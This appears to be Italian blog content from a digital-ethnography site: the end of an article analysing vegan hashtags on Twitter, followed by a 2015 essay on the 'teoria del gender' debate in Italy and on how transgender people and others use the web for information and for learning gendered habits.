rispetto per gli animali e la rivendicazione dei loro diritti (<strong>#Compassion</strong>, <strong>#AnimalRights</strong>, <strong>#CrueltyFree</strong>, <strong>#Love</strong>), l’altra <strong>salutistica</strong>, con riferimento ai vantaggi per il benessere individuale ottenibili da un’alimentazione senza cibi animali e derivati (#Healthy, #Health, #HealthyFood, #SugarFree, #Organic). Il ricorso ad argomentazioni di tipo ambientalistico è residuale e chiamato in causa perlopiù a sostegno delle due motivazioni primarie, quasi mai in maniera indipendente.</p>
<p>I due cluster attinenti alla ricette (<strong>Salad Recipes</strong> e <strong>Sweet Recipes</strong>) sono presidiati da hashtag relativi agli <strong>ingredienti</strong> che le compongono. Da qui, oltre che ricevere degli ottimi stimoli per servire qualcosa di nuovo in tavola, è possibile osservare i trend del momento in ambito di alimentazione sostenibile.</p>
<p><strong>Twitter</strong> (e la rete più in generale) si dimostra ancora una volta uno strumento atto a <strong>tener traccia in tempo reale di flussi non solo di comunicazione, ma anche di consumo</strong>. È facile intravedere in questa dinamica delle opportunità per dei brand operanti nei settori di interesse per stare al passo con i gusti in ambito di alimentazione sostenibile, ad esempio seguendo i prodotti e alimenti più citati nelle ricette online (<strong>#Chocolate</strong>, <strong>#Tofu</strong>, <strong>#Pumpkin</strong>, <strong>#Almond</strong>) o le tendenze più in voga, come lo spiccato interesse per alimenti e ricette senza glutine (<strong>#GlutenFree</strong>) e per il crudismo (<strong>#Raw</strong>).<br />
Da questa breve e immediata analisi automatica del testo dei tweet è possibile trarre almeno due conclusioni, una di carattere metodologico, l’altra afferente ai contenuti del discorso Twitter sul tema vegan.</p>
<p>&nbsp;</p>
<h3><strong>Il Ruolo del software nella ricerca</strong></h3>
<p>Metodologicamente appare rilevante il modo in cui il <strong>tool</strong> sia riuscito a suddividere il contenuto dei messaggi in <strong>cluster tematici</strong> in maniera così <strong>netta</strong> da far emergere anche una distinzione tra le ricette dolci e salate.  Senza voler arguire che il software possa agire da valido sostituto dell’analista umano (tutt’altro!), emerge chiaramente il ruolo di supporto che esso può svolgere in fase di analisi.  Si assiste spesso a ricerche sbilanciate da un lato piuttosto che dall&#8217;altro, con report fondati su <strong>dashboard</strong> e miriadi di grafici che non riescono a entrare in profondità dei dati, o viceversa a resoconti altamente interpretativi che si basano quasi esclusivamente su “sensazioni”, risultando carenti in termini di oggettività e verificabilità. Il ricorso ad un tool di analisi testuale permette d’altro canto di potersi muovere tra i due poli, discostandosi dal mero dato <strong>quantitativo</strong> e fornendo altresì un valido sostegno al ricercatore in fase <strong>qualitativa,</strong> prestando basi numeriche e <strong>statistiche</strong> a supporto del dato <strong>interpretativo</strong>.</p>
<p>&nbsp;</p>
<h3><strong>Vegan su Twitter</strong></h3>
<p>Per quanto concerne i contenuti emerge inaspettatamente la quasi totale mancanza dell’annosa dialettica citata in precedenza. La sfera discorsiva che si cristallizza su Twitter intorno agli hashtag #Vegan e #Veganism in lingua inglese è dominata dai sostenitori del <strong>movimento etico</strong>, che scelgono tre modi prevalenti per promuoverlo: la <strong>diffusione di notizie</strong>, l’esplicitazione delle <strong>motivazioni</strong> alla base della loro scelta e la <strong>pubblicazione di gustose ricette</strong>, nel tentativo di prendere gli scettici per la gola.</p>
<p>&nbsp;</p>
<h3><strong>Nuovi trend di consumo</strong></h3>
<p>Questo ci conduce dritti verso un’ulteriore considerazione: oltrepassando la controversia è indubbio che l<strong>o stile di vita di vegan sia stato canalizzato</strong>, nel bene e nel male, <strong>in un trend di consumo</strong>, come è dimostrato dalla crescente presenza di linee di prodotti cruelty free sia nei supermercati biologici (i vari <strong>NaturaSì</strong>, <strong>Almaverde Bio</strong>, <strong>Bio c’ Bon</strong>, <strong>Superpolo</strong>, <strong>CuoreBio</strong>, solo per dirne alcuni) che nella grande distribuzione, fino ad arrivare ai primi negozi interamente vegan aperti a Roma (<strong>iVegan</strong>) e Milano (<strong>Io Vegan Market</strong>), risultati impensabili solo fino a pochi anni fa.</p>
<p>In accordo o meno con i principi etici che guidano la scelta, sembra che molti <strong>brand</strong> si siano accorti della tendenza e facciano di tutto per rimanere in scia, consci del personale vantaggio acquisibile dalle esigenze del nuovo pubblico di consumatori. Questa ricerca ha mostrato come sia molto ampio e variegato il bacino di informazioni spontaneamente prodotte dagli utenti della Rete a cui questi brand possono attingere per restare aggiornati sui <strong>trend vegani</strong> e per incorporarli nelle loro <strong>strategie di business</strong> e <strong>comunicazione</strong>.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p style="text-align: right;"><em>Articolo di David Consolazio (@Caliviral)</em></p>
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		<title>Gender. L’unico aspetto di natura duale è l’approccio degli utenti</title>
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		<pubDate>Mon, 23 Nov 2015 10:34:31 +0000</pubDate>
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<p>&nbsp;</p>
<p>Questo breve studio parte da una riflessione in merito al concetto di <strong>genere</strong> che da mesi sta richiamando l’attenzione pubblica in Italia a causa dei movimenti contro la, cosiddetta, <strong>“teoria del gender”</strong>. Seguendo la metodologia di ricerca dell’Etnografia Digitale, ho analizzato non solo le discussioni inerenti al tema della teoria di genere, ma ho espanso il campo d’interesse cercando di rilevare se e come il genere, e la sua costruzione, possa venire influenzato dalla rete.</p>
<h2><strong>La Teoria del Gender</strong></h2>
<p>Il <strong>MIUR</strong>, nei mesi scorsi, ha emanato una <a href="http://www.istruzione.it/allegati/2015/prot1972.pdf" target="_blank">circolare</a> nazionale riguardante il “caso della teoria di genere” che iniziava con:</p>
<p><em>“Pervengono al MIUR numerose richieste di chiarimenti, sia da parte di dirigenti scolastici e docenti che di genitori, riguardo a una presunta possibilità di inserimento all’interno dei Piani dell’Offerta Formativa delle scuole della cosiddetta “Teoria del Gender” che troverebbe attuazione in pratiche e insegnamenti non riconducibili ai programmi previsti dagli attuali ordinamenti scolastici”.</em></p>
<p>Sembra che l’intento della circolare ministeriale sia di dover controllare una preoccupante situazione di disagio sociale e ansia diffusa. Anche l’Associazione Italiana di Psicologia (<strong>AIP</strong>) ha rilasciato un <a href="http://www.aipass.org/files/AIP_position_statement_diffusione_studi_di_genere_12_marzo_2015%281%29.pdf" target="_blank">documento</a> di diffusione nazionale che riguardava la cosiddetta “teoria del gender”.</p>
<p>Entrambi i documenti ufficiali, ed ufficiosi, sembrano avere la funzione di rassicurare la popolazione italiana da una sorta di minaccia, entrambi cercano di spiegare da cosa nasce il disguido, con tonalità e argomentazioni diverse ma comunque con un fine simile.</p>
<p>Perché tutto ciò?</p>
<p>Potremmo banalmente trovare la risposta a questo dilemma partendo dall’attribuzione che il concetto di “teoria di genere” porta con se. Una teoria sostanzialmente inesistente, probabilmente creata da un vizio di forma, che esponenti del mondo cattolico hanno utilizzato per porre l’attenzione su un, a loro dire, preoccupante fenomeno di ambiguità che sta insorgendo negli ultimi anni a causa della <strong>comunità LBGTQI</strong>.</p>
<p>Erroneamente attribuita e legata al mondo della comunità per l’uguaglianza dei diritti delle minoranze sessuali, il concetto di “gender” è utilizzato impropriamente come concetto e termine ombrello per una serie di habitus e comportamenti ritenuti da questa comunità, quella cattolica che verosimilmente ha introdotto il panico non solo in Italia, minerebbe i principi fondanti della società occidentale moderna, soprattutto introducendolo nell’ambiente scolastico (altro misunderstanding legato al dibattito in ambito scolastico dei principi di uguaglianza di genere e di lotta all’odio -Hate Speech- suggeriti allo stato italiano da delibera europea insieme al documento stilato dall’OMS per l’educazione sessuale all’interno delle scuole).</p>
<p>Facendo una breve ricerca online sulle dichiarazioni del <strong>mondo cattolico</strong> riguardo la loro creatura, cioè l’ideologia gender, troviamo affermazioni del tipo:</p>
<p><strong><em>“L’ideologia del gender è più pericolosa dell’Isis”</em> </strong>è l’avvertimento di Don Angelo Perego (parroco di Arosio, in provincia di Como). O meglio ancora, <em>“individui fluidi per una società fluida e debole”</em>, qui a pronunciarsi è Angelo Bagnasco in un consiglio della CEI. Tarkovskij e Bauman avrebbero qualcosa da dire al riguardo, il primo in uno dei suoi film più influenti lascia recitare allo Stalker (protagonista del film omonimo) che: <em>“</em><em>Quando l&#8217;uomo nasce è debole e duttile, quando muore è forte e rigido, così come l’albero: mentre cresce è tenero e flessibile, e quando è duro e secco, muore. Rigidità e forza sono compagni della morte, debolezza e flessibilità esprimono la freschezza dell&#8217;esistenza, ciò che si è irrigidito non vincerà”.</em> Mentre il secondo pensatore, Bauman, ha fatto del concetto di liquidità il perno di tutto il suo pensiero sociologico, per il quale la società moderna ha necessità di una libertà e fluidità di movimento poiché solo così può essere completa e permettere ai propri attori di esprimersi appieno. Addirittura lo scorso 20 giugno, è stata organizzata a Roma una manifestazione dal nome: <strong>“Stop Gender Nelle Scuole!”</strong> ad opera del comitato “Difendiamo i nostri figli”. Una mobilitazione del genere sembra emblematica di quanto la società civile sia stata indottrinata ad aver paura di quello che il gender, erroneamente in questo caso, voglia dire. È evidentemente un periodo concitato per i difensori di una certa stabilità morale e politica. <strong>Sembrerebbe infatti che molti elementi minaccino l’ordine costituito, una re-definizione geopolitica ad opera del flusso di migranti provenienti dal medio oriente sembra evidentemente già sufficiente, se poi ci si mette anche la re-definizione di genere allora la paura dilaga.</strong></p>
<p>C’è, evidentemente, un attacco unanime da gran parte del mondo cattolico/politico italiano, contro questa <strong>ideologia (feticcio)</strong> di gender che destabilizzerebbe le menti dei bambini e dei ragazzi, spingendoli a modificare, o per lo meno a mettere in discussione un andamento immutabile, perché “naturale” del proprio essere e della società stessa.</p>
<h2><strong>Cos’è il Genere</strong></h2>
<p><em>“La categoria per eccellenza sociale rimane però quella del gender. Il sociale non è determinato una volta per tutte e risulta quindi modificabile. Palese, il sociale può risultare oppressivo, nel senso che, se tu sei una donna devi comportarti come tale secondo gli standard della tua società, assumendo i ruoli che questa ti attribuisce, e per gli uomini vale lo stesso. Uomini e donne possono però uscire da questo stato di cose, non per trasgressione, ma piuttosto perché si rendono conto di quanto siano anti-etici alcuni standard</em>“ (Vassallo su <a href="http://www.doppiozero.com/materiali/commenti/questioni-di-gender" target="_blank">DoppioZero</a>).</p>
<p>Per cercare di definire il campo di indagine sul quale mi muoverò è importante capire cosa si intenda per genere (gender) dato che si fa spesso molta confusione tra questo è il concetto di Sesso.</p>
<p>&#8211; Il <strong>sesso</strong>, è espressione dei caratteri genotipici di un individuo che permette la riproduzione per ricombinazione di corredi genetici. A ciò vengono legati i caratteri sessuali, distinti in genitali ed extragenitali.</p>
<p>&#8211; Il <strong>genere</strong>, indica <em>“Il significato sociale assunto dalle differenze sessuali. Il termine designa la costellazione di caratteristiche e di comportamenti che finiscono per essere rispettivamente associati ai maschi e alle femmine e per ciò da loro attesi all’interno di una particolare società. In altre parole è un termine che designa i concetti di mascolinità e femminilità e le loro differenze, siano esse realmente presenti o supposte tali” (</em>Vivien Burr, Psicologia delle differenze di Genere, il Mulino).</p>
<p>Va comunque introdotto in questa discussione tra sesso e genere quella relativa dell’<strong>orientamento sessuale</strong>, che benché sia spesso tirato in ballo quando si parla di genere e sesso, rimane nel pratica e nella teoria un elemento a se stante. Mi spiego meglio: le preferenze sessuali/affettive di una persona prescindono dalla propria appartenenza di genere (qualunque questa sia), e insieme alla propria identità di genere e a tutti gli altri habitus acquisiti, biologicamente o culturalmente, costituiscono il “se” dell’individuo.</p>
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<p>Ancora, va distinto il soggetto che prende in considerazione, o meglio ri-considerazione, il proprio genere in base al proprio “io”. Si interfacciano, infatti, con queste dinamiche più categorie: <strong>transessuali</strong>, che presuppongono una disforia di genere, per cui la propria appartenenza biologica è inversa a quello che realmente si sentono, e quindi tendono a proseguire un percorso di transizione per cui giungono al genere elettivo. Esistono persone <strong>transgender</strong>, termine ombrello che include persone <strong>gender-bender</strong> o <strong>gender-queer</strong>, che nel corso della loro vita o fin dall’infanzia vivono la propria identità di genere in modo fluido, non binario, lungo un continuum che ad un estremo vede il maschile e all’altro il femminile oppure si sentono appartenenti ad un vero e proprio terzo genere. Ed ancora, esistono, <strong>persone che non necessariamente devo riconsiderare la propria appartenenza di genere ma che vengono limitate dai costrutti e stereotipi che sono sovra-costruiti al genere, per il quale esistono comportamenti e aspettative (di vita) tipiche di entrambi i generi e che non possono essere mixate, o discusse.</strong> In quest’ultimo caso si distingue tutta le teoria femminista di lotta agli stereotipi di genere, per i quali le donne risultano sempre delegittimate in molte cose proprio perché donne, ma allo stesso tempo l’uomo, in una società maschilista, deve sforzarsi di avere dei comportamenti e delle espressioni del sé contenute a sua volta in determinati paletti, pena dello sconfinamento è l’accusa di essere “effemminato”, non abbastanza uomo di fatto delegittimandolo, come se la “femminilizzazione” di alcuni aspetti del maschio sia una cosa negativa.</p>
<p>Ho immaginato che l’attenzione esasperata che si è diffusa, in modo più o meno conscio, nel mondo cattolico, e non solo, sulla questione del genere ricada banalmente nella paura di rompere un <strong>Tabù</strong> ancestrale e universale (insieme a quello dell’incesto), legato principalmente alla corporeità, della distinzione tra uomini e donne, tra maschi e femmine. <em>“La paura per l’ambiguità genitale diventa la metafora per tutte le amputazioni prodotte dalla paura di essere diversi”</em> (Lucìa Puenzo, regista di XXY).</p>
<p><em> “La nostra società si fonda su una visione rigorosamente dicotomica dell&#8217;appartenenza di sesso: esistono soltanto due sessi, quello maschile e quello femminile, essenzialmente definiti dalla presenza del pene e della vagina; ciascuno appartiene per natura a uno dei due sessi per tutta la vita. Questi assunti rappresentano un fondamento dato per scontato delle relazioni sociali della vita quotidiana, fondamento che fenomeni come quello delle persone transessuali minacciano di metter in discussione” </em>(Garfinkel, 1967). In seno a questa differenziazione è evidente che il carico valoriale, a livello sociale, di <strong>una persona che mette in discussione il concetto di genere è da tenere sotto controllo perché rientra in quelle figure che il sociologo Howard Becker ritiene “outsider”</strong> e che rappresentano i devianti, coloro che infrangono norme comunemente accettate dalla società. Chi viene considerato “deviante” potrebbe avere un punto di vista alternativo e diverso sulla reale portata deviante del suo comportamento, perché considera necessarie delle norme diverse rispetto a chi gli attribuisce l’etichetta di deviante. Va ricordato che non esistono soggetti devianti solitari ma sempre come membri di gruppi, più o meno ampi, che ne rafforzano l’identità, deviante, del singolo rispetto a quella della comunità maggioritaria circostante. Naturalmente il riferimento al deviante non è necessariamente inteso sotto una chiave di lettura negativa, ci tengo a sottolineare infatti che non sto attribuendo nessun tipo di connotazione valoriale all’appartenenza ad un gruppo minoritario come quello della comunità transessuale o transgender, ma sto cercando di rielaborare il concetto Beckeriano per creare una metafora verosimile per gli appartenenti a queste sotto-culture, che risultano “devianti” rispetto una maggioranza. <strong>È indubbio che l’appartenenza ad un determinato gruppo crei una rappresentazione, più o meno, uniforme del gruppo stesso agli occhi della restante popolazione, il “problema” è che i membri di questo gruppo che cerca/ridefinisce/decostruisce il genere sono per loro stessa natura poco identificabili, proprio perché in un costante passaggio (come Garfinkel affermava per Agnese).</strong></p>
<h2><strong>Metodologia</strong></h2>
<p>Partendo da questo dibattito attuale sul genere e sulle sue conseguenze sociali, e riprendendo un mio vecchio elaborato sociologico sulla costruzione del genere e sul tema della transessualità e transgenderismo, ho ritenuto interessante provare ad analizzare come il <strong>web </strong>possa interfacciarsi ed interagire con queste tematiche, <strong>se e quanto sia influente ai giorni nostri per la comune costruzione identitaria</strong>, e per quelle comunità che per propria natura mettono in discussione l’auto-affermazione come comunemente percepita e creata.</p>
<p>La ricerca è stata portata avanti grazie ad un lavoro di ricerca basato sull’Etnografia Digitale che prevede come campo di studio il pubblico, cioè <em>“</em><em>il <strong>complesso network di piattaforme digitali</strong> (Twitter, Facebook, Blog, Forum, ecc…) <strong>attraverso cui gli utenti si trovano a transitare e che costituisce l’ecosistema naturale delle loro interazioni quotidiane sulla Rete</strong>. In questo senso, dunque, quello di <strong>self-presentation</strong> diviene un concetto chiave per l’etnografia digitale, la quale concepisce appunto l’<strong>identità</strong> sociale online, non tanto come un particolare ruolo giocato all’interno di una community circoscritta, ma piuttosto <strong>come un’istanza processuale che emerge</strong>, in maniera naturale, dalle diverse <strong>strategie di presentazione del Sé</strong> che gli utenti agiscono <strong>di fronte ad un pubblico digitale”</strong></em> (<a href="http://www.etnografiadigitale.it/2014/07/netnografia-ed-etnografia-digitale-differenza-ce/" target="_blank">Etnografia Digitale</a>).</p>
<h2><strong>Web e Genere (Genere 2.0)</strong></h2>
<p>Riprendendo spunti analitici dal testo di <strong>Garfinkel</strong>, <em>Agnese</em>, mi sono chiesto se chi volesse o dovesse ridiscutere il proprio genere possa utilizzare il <strong>web come luogo di raccolta di habitus ed esempi significativi</strong>.</p>
<p>Garfinkel affermava che la ragazza transessuale, il soggetto dello studio ed eletta per raccontare e rappresentare il suo lavoro sull’identità di genere, cercava tramite espedienti costanti di far passare se stessa come conforme ed autentica ad un ruolo, quando in realtà lei stava, nello stesso momento in cui si esponeva, raccogliendo informazioni per plasmare e ricostruire la sua femminilità e mostrarla ai “normali”.</p>
<p>Queste dinamiche non sono naturalmente traducibili ai meccanismi della rete, ma è indubbio che questa possa <strong>fornire materiale adeguato per chi si trova nella condizione di ri-elaborazione del genere</strong>, e naturalmente anche per chi necessità semplicemente di una <strong>conferma del proprio</strong>.</p>
<p>Si può ipotizzare banalmente per una persona transessuale che si interfaccia per la prima volta con la <strong>comunità trans<sup>*</sup></strong>, cerchi informazioni su quali sono i passaggi, le istituzioni e le persone a cui deve rivolgersi nel suo percorso di transizione affidandosi al web. Associazioni come <a href="http://www.alainrete.org/sportellotrans.html" target="_blank">ALA Milano</a> oppure il <a href="http://www.mit-italia.it/" target="_blank">MIT</a> –Movimento Identità Transessuale- ed ancora l’<a href="http://www.onig.it/drupal/" target="_blank">ONIG</a> –Osservatorio Nazionale sull’Identità di Genere- possono essere luoghi online in cui avere un primo contatto con la realtà desiderata, che permette di rispondere a domande interne che hanno un forte peso emotivo. Vi è l’uso di forum per discutere della propria condizione e per la ricerca di soggetti nelle stesse condizioni, per aver un dialogo ed una conferma di se stessi come adeguati, anche nella propria inadeguatezza, ad esempio <a href="http://uncorponuovo.tumblr.com/" target="_blank">UnCorpoNuovo</a>. Su questo punto però vi è da fare un piccola nota metodologica, infatti ho riscontrato che <strong>l’uso dei forum è in costante declino, sostituito dai social network</strong>; come in tutti gli altri ambienti anche in questo caso le discussioni si sono spostate, per esempio, su pagine Facebook; emblematiche sono:</p>
<p><a href="https://www.facebook.com/Diario-di-un-ftm-155261037918932/" target="_blank">Diario di un FtM</a></p>
<p><a href="https://www.facebook.com/TrueTransSupport/" target="_blank">True Transgender Support and Assistance</a></p>
<p><a href="https://www.facebook.com/Cultura-di-genere-174574066213/" target="_blank">Cultura di Genere</a></p>
<p><a href="https://www.facebook.com/Intercultura-di-genere-288921937839380/" target="_blank">Intercultura di Genere</a></p>
<p><a href="https://www.facebook.com/FtMMtF-Istruzioni-per-Luso-411862068979090/" target="_blank">FtM/MtF – Istruzioni per l’uso</a></p>
<p>Oltre alle testimonianze scritte ritroviamo sparsi per il web anche <strong>elementi visivi</strong>, che servono (agli autori) per una rappresentazione e allo stesso tempo auto-decostruzione di qualcos’altro, mentre diventano fonti di apprensione, emulazione e riscontro nei fruitori. Una rappresentazione, più o meno realistica (parlando naturalmente di <em>self-presentation</em>), avviene fatta tramite <strong>instagram</strong>, per cui esistono dei profili privati di persone che raccontano la propria transizione con le foto; ed ancora esistono canali video appositi su <strong>youtube, in cui gli youtubers si raccontano e si mostrano</strong> (es:</p>
<p><a href="https://www.youtube.com/channel/UC7Bm_VSSzQnaNDEWwDSmqfg/feed" target="_blank">Aurora Marchetti</a></p>
<p><a href="https://www.youtube.com/channel/UCnIA0nMfRZWeapTbabUAhOQ" target="_blank">Richard Thunder</a></p>
<p><a href="https://www.youtube.com/channel/UCPrliR3-zjjmCTL4EsStaNA" target="_blank">Andrea FtM</a></p>
<p><a href="https://www.youtube.com/channel/UCwlp-aSWlQDRwIfmsnaEKxQ" target="_blank">FtM/MtF Channel Italia</a></p>
<p>Naturalmente l’acquisizione di habitus di genere non sono solo funzionali alla transizione di genere ad opera della comunità transessuale, o trans gender, ma molto popolari sono anche <strong>video su come diventare dei veri uomini alpha</strong> (qualunque cosa voglia dire) oppure video dedicati alle donne su <strong>come essere più attraenti e femminili</strong>, su come truccarsi e vestirsi (es: <a href="https://www.youtube.com/channel/UCwlp-aSWlQDRwIfmsnaEKxQ" target="_blank">come diventare un maschio dominante</a>, oppure <a href="https://www.youtube.com/watch?v=t6gshVfGHWI" target="_blank">il potere del make-up</a>) ribadendo così il concetto per cui <strong>il genere non è solo argomento di interesse per chi è nella condizione di ri-elaborarlo, ma viene perpetuato come elemento culturale e sociale. Ogni forma di rappresentazione di habitus contribuisce alla sua affermazione, internet è solo uno dei vari modi in cui questo avviene</strong>, anche se la sua peculiarità è probabilmente la pervasività e capillarità insita nel mezzo stesso. Tutti elementi che sono connaturati nelle dinamiche di socializzazione, primaria o secondaria, che servono a costruire una struttura conforme ad un certo tipo di genere (occidentale e moderno), e che internet non crea, ma semplicemente distribuisce, facilitandone l’appropriazione e riproduzione.</p>
<p>Si leggono conversazioni che portato gli utenti ad un <strong>riscontro e riconoscimento,</strong> anche se preliminare e basilare, <strong>di se stessi in un determinato gruppo sociale </strong>(<em>“è stata una intervista interessantissima..piena di spunti di riflessione. ognuno è trangener come sa e e deve saper di esserlo, con o senza ormoni, ma solo attraverso un cammino che non sappiamo davvero dove ci porterà..una persona speciale con una missione speciale&#8230;grazie..grazie a voi è iniziato il mio di cammino. grazie”</em> utente di fb sulla pagina del MIT).</p>
<p>(“<em>Solo un trans puo&#8217; capire un trans&#8230;nessun altro puo&#8217; immedesimarsi in qst personale condizione&#8230;” </em>utente di fb sulla pagina Diario di un FtM).</p>
<p>Il <strong>ruolo che internet può avere per l’acquisizione di quegli “habitus pratici” di cui parlava anche Garfinkel</strong>, riferendosi alla capacità di imparare e negoziare se stessi per la costruzione del genere, in molti casi vengo rappresentati o condivisi, o semplicemente diffusi (“<em>Ragazzi qualcuno di voi conosce degli escamotage per poter fare il bagno a mare coprendo il seno? Sapete se esistono fasce o cose simili che posso mettere tranquillamente in acqua?”</em> utente di fb sulla pagina FtM/MtF – Istruzioni per l’uso)</p>
<p>(<em>“parlando di MtF, per nascondere al meglio la peluria facciale, a mio personale avviso, trovo sia molto efficace stendere una mano di corettore, in polvere o liquido è indifferente, poi una passata di fondotinta (io mi trovo benissimo con quella liquida o cremosa, non con quelle in polvere) e per finire, picchiettate un po&#8217; di cipria, per fissare il fondotinta”</em> utente forum spaziotransfm).</p>
<p>Quelli fin’ora discussi sono soprattutto elementi legati al transessualismo e transgenderismo, ma la discussione del genere passa anche e soprattutto attraverso il discorso femminista, di cui la rete è spesso veicolatrice: <em>“viviamo in una società in cui i modelli di riferimento femminili sono stati (o lo sono ancora?) essenzialmente 3 – o sei mamma o sei moglie, o sei zoccola. Per questo, le lesbiche (e femministe) che sono venute prima di noi si sono opposte in maniera drastica agli stereotipi e alle costrizioni un certo modo di essere donna (la gonna, il tacco, il vestitino perbene, il colore rosa, e via discorrendo). E hanno fatto anche bene. Ma ora è giunto il momento di cambiare le cose. Anche perché quello che era la ribellione di una volta è diventato a sua volta stereotipo: la lesbica (o la donna impegnata) deve vestirsi in un certo modo, deve comportarsi in un certo modo, deve rifiutare di attirare un certo sguardo maschile. Bene. Ma nel 2012, come dovrebbe essere questa “divisa” da lesbica? La camicia a quadroni? la rasatura laterale? i capelli corti? i jeans strappati? la camminata di chi ha appena parcheggiato il camion in doppia fila? Ops, conosco tante donne etero che sono così. Perché se vestirsi in modo “femminile” non vuol dire dissimulare la propria omosessualità, allo stesso modo vestirsi in modo “maschile” non vuol dire essere lesbiche”</em> (<a href="http://www.lezpop.it/la-posta-del-cuore-femminilita-vuol-dire-essere-meno-lesbica/" target="_blank">Lezpop</a>).</p>
<p>Ed ancora, troviamo altre testimonianze su forum di giovani ragazze che ribadiscono la loro condizione:<em> “tipica farse da genitore cn figli maschi ù.ù i maschi sono + liberi ,nn devo fare le faccende di casa ecc. e giustifacno cn stà frase: &#8220;Bè almeno loro nn rimangono incinti se vengono stuprati&#8221;”</em> utente forum riotgirls.</p>
<p>Questi stralci di conversazioni, qui sopra citati, fanno capire quanto naturalmente il dibattito online sia importante per chi si sente parte di questa comunità ideologica. Sottilmente forse potremmo trarre <strong>una differenza tra la re-definizione di genere ad opera del femminismo rispetto a quella legata al mondo Trans e Queer.</strong></p>
<p>Spesso, gli attori in esame non sono necessariamente ideologizzati, ma discutono sul genere, sulla propria percezione di femminile e maschile, su cosa sia più o meno corretto secondo loro, senza necessariamente appartenere ad una comunità o un gruppo specifico, soprattutto sui social, mentre sui forum/blog troviamo un’aggregazione molto più coesa perché selettiva da parte dell’utente di farne parte o meno.</p>
<h2><strong>Immaginario, Estetica Gender e Marketing</strong></h2>
<p>L’artista visuale <a href="http://heathercassils.com/" target="_blank">Heather Cassils</a> in un’intervista per il Guardian ha affermato che <em>“</em><em>Our bodies are sculptures formed by society&#8217;s expectations”</em> ed ecco perché tutta la sua vita e la sua carriera artistica sono improntate in una re-definizione costante e visibile del genere, infatti la sua fisicità assolutamente mascolina e massiccia è un elemento di disturbo per la sua rappresentazione di donna biologica, volutamente ambigua, diventando però parte integrante delle sue performance.</p>
<p>Partendo dal presupposto che, metodologicamente parlando, <strong>il concetto di gender è significativo solo nell’eccezione di genere, è interessante però notare come venga spesso estrapolato per indicare una visione estetica ben precisa, che si muove sull’immaginario del cross-dressing e del movimento queer e dell’unisex, in cui l’elemento estetico ha una certa rilevanza, ed ancora più interessante è l’uso che il marketing ne ha fatto.</strong></p>
<p>Secondo il Collins English Dictionary, che ogni anno stila la classifica delle parole e dei neologismi più usati negli ultimi 12 mesi nel mondo anglosassone, una delle parole più usate quest’anno compare “Transgender”. È un termometro molto interessante poiché, secondo una certa visione socio-linguistica, l’aumento d’uso di un termine in un specifica cultura ne innalza inevitabilmente l’importanza culturalee sociale. Secondo il C.E.D., per quanto riguarda il termine Transgender vi è stato un incremento del 100% rispetto al 2014, ma come mai?</p>
<p>È probabile che nel mondo Americano/Inglese, l’aumento sia dovuto alla crescita di popolarità di alcune star del mondo dello Show-Business, come <a href="http://www.vanityfair.com/hollywood/2015/06/caitlyn-jenner-bruce-cover-annie-leibovitz" target="_blank">Caitlyn Jenner</a> e <a href="http://www.ew.com/article/2015/06/10/laverne-cox-entertainment-weekly-cover" target="_blank">Laverne Cox</a>, o ancora il cantante <a href="http://www.rollingstone.de/rolling-stone-im-juli-2015-titelthema-conchita-wurst-784777/" target="_blank">Conchita Wurst</a> oppure la top model <a href="http://www.vogue.com/13371709/olivier-rousteing-24-hours-new-york-city-balmain/" target="_blank">Andreja Pejic</a>, che hanno sensibilizzato e informato il grande pubblico sulla questione del transessualismo. Tante sono state anche nel passato le figure che hanno manipolato la propria espressione di genere, non necessariamente perché conforme a loro ma anche solo come atto politicizzato o estetico, da David Bowie a Mario Mieli a Tilda Swinton a Vladimir Luxuria. Non sorprende perciò che il mondo del marketing sia attratto da queste figure e da questo mondo: <strong>è infatti sempre stato evidente come a partire da categorie sociali, culturali, estetiche e, perché no politiche, il marketing abbia attinto a piene mani appropriandosi di tutto ciò che è di tendenza, soprattutto se proveniente da culture alternative, sfruttandolo commercialmente.</strong></p>
<p>Anche in questo caso il ricorrere ad un’estetica basata sull’ambiguità, non tanto alla ri-elaborazione, del genere ha sortito un effetto positivo per svariate campagne pubblicitarie, una su tutte è quella della <a href="http://store.diesel.com/magazine/it/stories/gender-neutral-4/" target="_blank">Diesel</a>, grande brand di moda, che probabilmente cavalcando l’onda delle polemiche nate sul caso della teoria del gender, ha lanciato la nuova linea di vestiti come una linea neutra ed unisex, per la quale: <em>“unisex oggi vuol dire larghe vedute e creatività. Perché quando l’espressione di noi stessi regna sovrana, il look è secondario: è chi sei che conta veramente”</em>.</p>
<div id="attachment_6563" style="width: 591px" class="wp-caption alignnone"><a href="http://www.etnografiadigitale.it/wp-content/uploads/2015/11/diesel-commercial.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-6563" class=" wp-image-6563" src="http://www.etnografiadigitale.it/wp-content/uploads/2015/11/diesel-commercial.jpg" alt="Diesel Ad" width="581" height="447" /></a><p id="caption-attachment-6563" class="wp-caption-text">Diesel Ad</p></div>
<h2><strong>Coclusioni </strong></h2>
<p>Durante la ricerca sono sorti molti spunti che andrebbero indagati più in profondità e meglio organizzati, infatti tracciare una mappa delle abitudini di utilizzo, che una persona in fase di riconsiderazione del proprio genere, fa del web è un processo molto ampio e articolato.</p>
<p>Si riescono però a tracciare <strong>due macro-linee di comportamento tipiche</strong> (nate da un’analisi contenutistica e dall’osservazione di forum, social network e siti specifici) che sono:</p>
<p>&#8211; L’<strong>uso strumentale</strong> del web per la raccolta di informazioni di natura pratica, per la re-definizione nella vita quotidiana.</p>
<p>&#8211; <strong>Luogo per l’acquisizione di habitus</strong>, una sorta di strumento d’analisi di se stessi e degli altri a cui attingere per la riproduzione di una self-presentation conforme a quella voluta.</p>
<p>Entrambe le linee d’uso <strong>non sembrano essere escludenti ma forse complementari</strong>, poiché permettono, anche se in modo diverso, di auto-rappresentarsi e interfacciarsi con l’auto-rappresentazione altrui, in una sorta di <strong>mutevole e post-moderna coscienza dell’io</strong>, tipica dei fenomeni web. In modo circolare si può affermare che <strong>il web, a sua volta, è lo strumento perfetto per chi è gender-fluid o intende decostruire forme di stereotipizzazione, in una sorta processo costante e fluido.</strong></p>
<p>&nbsp;</p>
<p style="text-align: right;"><em>Articolo di Luca Vecchio (<a href="https://twitter.com/alunnoribelle" target="_blank">@alunnoribelle</a>)</em></p>
